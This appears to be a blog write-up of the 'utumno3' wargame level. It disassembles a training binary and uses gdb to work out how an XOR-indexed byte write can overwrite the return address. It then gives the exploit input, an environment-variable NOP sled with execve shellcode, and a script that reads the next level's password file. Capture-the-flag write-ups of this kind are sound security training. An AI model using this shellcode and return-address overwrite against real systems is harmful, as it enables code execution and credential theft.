utumno3@utumno:~$ ltrace /utumno/utumno3
__libc_start_main(0x80483eb, 1, 0xffffd794, 0x8048470 <unfinished ...>
getchar(0x200000, 1, 0, 0xf7e40890a
) = 97
getchar(0x200061, 1, 0, 0xf7e40890) = 10
getchar(0x200061, 1, 0, 0xf7e40890a
) = 97
getchar(0x206261, 1, 0, 0xf7e40890) = 10
getchar(0x206261, 1, 0, 0xf7e40890c
) = 99
getchar(0x656261, 1, 0, 0xf7e40890) = 10
getchar(0x656261, 1, 0, 0xf7e40890c
) = 99
It seems that it goes on for some repetitions and then it ends with no other operation.
So let's disassamble it.
I'll put some comments on the lines beginning #:
0x080483eb <+0>: push %ebp 0x080483ec <+1>: mov %esp,%ebp 0x080483ee <+3>: push %ebx 0x080483ef <+4>: sub $0x38,%esp 0x080483f2 <+7>: movl $0x0,-0xc(%ebp) 0x080483f9 <+14>: mov -0xc(%ebp),%eax 0x080483fc <+17>: mov %eax,-0x8(%ebp)
# Jump to first getchar 0x080483ff <+20>: jmp 0x804844d <main+98> # Main loop 0x08048401 <+22>: mov -0xc(%ebp),%eax 0x08048404 <+25>: mov %eax,%ecx 0x08048406 <+27>: lea -0x3c(%ebp),%edx 0x08048409 <+30>: mov -0x8(%ebp),%eax 0x0804840c <+33>: add %edx,%eax 0x0804840e <+35>: mov %cl,(%eax) 0x08048410 <+37>: lea -0x3c(%ebp),%edx 0x08048413 <+40>: mov -0x8(%ebp),%eax 0x08048416 <+43>: add %edx,%eax 0x08048418 <+45>: movzbl (%eax),%ecx 0x0804841b <+48>: mov -0x8(%ebp),%eax 0x0804841e <+51>: mov %eax,%edx 0x08048420 <+53>: mov %edx,%eax 0x08048422 <+55>: add %eax,%eax 0x08048424 <+57>: add %edx,%eax 0x08048426 <+59>: xor %eax,%ecx 0x08048428 <+61>: lea -0x3c(%ebp),%edx 0x0804842b <+64>: mov -0x8(%ebp),%eax 0x0804842e <+67>: add %edx,%eax 0x08048430 <+69>: mov %cl,(%eax) 0x08048432 <+71>: lea -0x3c(%ebp),%edx 0x08048435 <+74>: mov -0x8(%ebp),%eax 0x08048438 <+77>: add %edx,%eax 0x0804843a <+79>: movzbl (%eax),%eax 0x0804843d <+82>: movsbl %al,%ebx #second getchar (4th, 6th, 8th) (stores char at memory location and add +1 to counter) # note that ebx is modified just before the getchar so it mybe that the main block is used to manipulate where the 2nd (4th, 6th) # bytes is stored in memory 0x08048440 <+85>: call 0x80482c0 <getchar@plt> 0x08048445 <+90>: mov %al,-0x24(%ebp,%ebx,1) 0x08048449 <+94>: addl $0x1,-0x8(%ebp) # First getchar (3rd, 5th, 7th ..) 0x0804844d <+98>: call 0x80482c0 <getchar@plt> # Stores input in variable 0x08048452 <+103>: mov %eax,-0xc(%ebp) # compare input. if it's -1 (= EOF) exits 0x08048455 <+106>: cmpl $0xffffffff,-0xc(%ebp) 0x08048459 <+110>: je 0x8048461 <main+118> # other loop exit condition: variable b > 0x17 (23) then exit, else execute main loop above 0x0804845b <+112>: cmpl $0x17,-0x8(%ebp) 0x0804845f <+116>: jle 0x8048401 <main+22> 0x08048461 <+118>: mov $0x0,%eax 0x08048466 <+123>: add $0x38,%esp 0x08048469 <+126>: pop %ebx 0x0804846a <+127>: pop %ebp 0x0804846b <+128>: ret
Basically there is a loop that:
- request getchar (line <+98>
- Stores input in a location -0xc(%ebp)
- compares the input to -1 (EOF)
- if it's equal, then exits
- Compares another location in memory -0x8(%ebp)
- if it's greater than 0x17 (Decimal 23) it exits
- otherwise goes back to line <+22> and executes a long sequence of operations
- in the end exectues another getchar and store the input to a location: -0x24(%ebp,%ebx,1)
- increment -0x8(%ebp) by 1
- restart loop
If we assign a name to the memory locations as variable we can write it in a pseudocode:
a=b=0 while (1) { a = getchar() if b > 23 or a == EOF break
// executes main loop with many istructions
d=getchar() // where d is memory location -0x24(%ebp,%ebx,1)
b++ }
The difficult part is to understand what the main loop does:
As of now it's clear that variable a, at each loop repetition, contains the value of the 1st, 3rd, 5th, ... bytes of the input sequence.
While d contains the values of the 2nd, 4th, 6th... byte of the input.
But d position in memory is not fixed as a: it is based on value of ebx
Debugging with gdb and lookig to the code we can say that the main loop:
- calculates b*3
- calculates (a xor b*3) and stores it in ebx
- uses ebx to write the input byte d into memory
utumno3@utumno:~$ echo "AABACAEAFAGAHAIAJAKALAM" > /tmp/u_1 utumno3@utumno:~$ gdb /utumno/utumno3
(gdb) break *0x0804843d
(gdb) r < /tmp/u_1 ...
...
a b %ebc d ebp destination memory of d 0x41 0 0x41 ^ 0x00 = 0x41 0x41 0xffffd6e8 0xffffd705 0x42 1 0x42 ^ 0x03 = 0x41 0x41 0xffffd6e8 0xffffd705 0x43 1 0x43 ^ 0x06 = 0x45 0x41 0xffffd6e8 0xffffd709 0x45 2 0x45 ^ 0x09 = 0x4c 0x41 0xffffd6e8 0xffffd710 0x46 3 0x46 ^ 0x0c = 0x4a 0x41 0xffffd6e8 0xffffd70e 0x45 3 0x47 ^ 0x0f = 0x48 0x41 0xffffd6e8 0xffffd70c
We see that with the first byte we can control in some way where we store the second byte.
So, with some investigation we see that the return address from the executable is at address 0xffffd6ec.
So we have to build this number with an input such that
- first loop: 0xd6e8 - 0x24 + (input xor 0) = d6ec
- second loop: 0xd6e8 - 0x24 + (input xor 3) = d6ed
- third loop: 0xd6e8 - 0x24 + (input xor 6) = d6e
- fourth loop: 0xd6e8 - 0x24 + (input xor 9) = d6ef
So now try with an input like this:
utumno3@utumno:~$ python -c 'print "\x28A\x2aB\x2cC\x22D"' > /tmp/u_1 utumno3@utumno:~$ gdb /utumno/utumno3 Reading symbols from /utumno/utumno3...done. (gdb) r < /tmp/u_1 Starting program: /utumno/utumno3 < /tmp/u_1 Program received signal SIGSEGV, Segmentation fault. 0x44434241 in ?? ()
We changed the execution to a location of our choice 0x44434241 ("A B C D" input)
Next steps are quite easy:
- put a shellcode somewhere in memory, but not as input (aka: EGG variable in environment) with maybe some NOP in front of it
- find location in memory of this EGG
- Overwrite the return address somewhere in the NOP sled
export EGG=$(python -c ' print "\x90" * 100 + "\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80"') gdb /utumno/utumno3 (gdb) break *0x0804843d (gdb) r < /tmp/u_1 (gdb) x/100wx 0xffffde00 ... 0xffffde40: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffde50: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffde60: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffde70: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffde80: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffde90: 0x90909090 0x90909090 0x90909090 0x90909090
So 0xffffde60 can be a good candidate to return the execution flow:
so we build the input...
python -c 'print "\x28\x60\x2a\xde\x2c\xff\x22\xff"' > /tmp/u_1
If we run it it's seems not working...+
Checking with strace, it executes /bin//sh but it gives a well know error related to ioctl
So we create a script that outputs the password file and run it from local directory:
utumno3@utumno:/tmp/utm_1$ export EGG=$(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68sssh\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"') utumno3@utumno:/tmp/utm_1$ cat > sssh #!/bin/sh /bin/cat /etc/utumno_pass/utumno4 ^C utumno3@utumno:/tmp/utm_1$ chmod +x sssh utumno3@utumno:/tmp/utm_1$ PATH=.:$PATH utumno3@utumno:/tmp/utm_1$ /utumno/utumno3 < /tmp/u_1 o******ga
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.